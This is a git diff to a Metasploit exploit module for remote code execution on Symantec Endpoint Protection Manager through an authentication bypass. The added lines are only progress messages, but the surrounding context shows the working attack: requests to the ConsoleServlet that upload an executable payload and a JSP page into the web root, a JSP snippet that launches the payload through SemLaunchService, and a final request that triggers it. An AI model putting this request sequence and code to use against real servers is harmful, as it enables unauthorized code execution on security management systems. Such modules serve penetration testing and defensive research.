diff --git a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb index 741b216e60..5a3b39fe0e 100644 --- a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb @@ -61,6 +61,8 @@ class Metasploit3 < Msf::Exploit::Remote meterp = Rex::Text.rand_text_alpha(10) jsp = Rex::Text.rand_text_alpha(10) + print_status("Getting cookie") + res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'), 'method' => 'POST', @@ -81,6 +83,7 @@ class Metasploit3 < Msf::Exploit::Remote <%=SemLaunchService.getInstance().execute("CommonCMD", Arrays.asList("/c", System.getProperty("user.dir")+"\\\\..\\\\webapps\\\\ROOT\\\\#{meterp}.exe")) %> } + print_status("Uploading payload...") send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'), 'method' => 'POST', @@ -95,6 +98,7 @@ class Metasploit3 < Msf::Exploit::Remote 'ctype' => '' }) + print_status("Uploading JSP page to execute the payload...") send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'), 'method' => 'POST', @@ -109,6 +113,7 @@ class Metasploit3 < Msf::Exploit::Remote 'ctype' => '' }) + print_status("Executing payload. Manual cleanup will be required.") send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "#{jsp}.jsp") })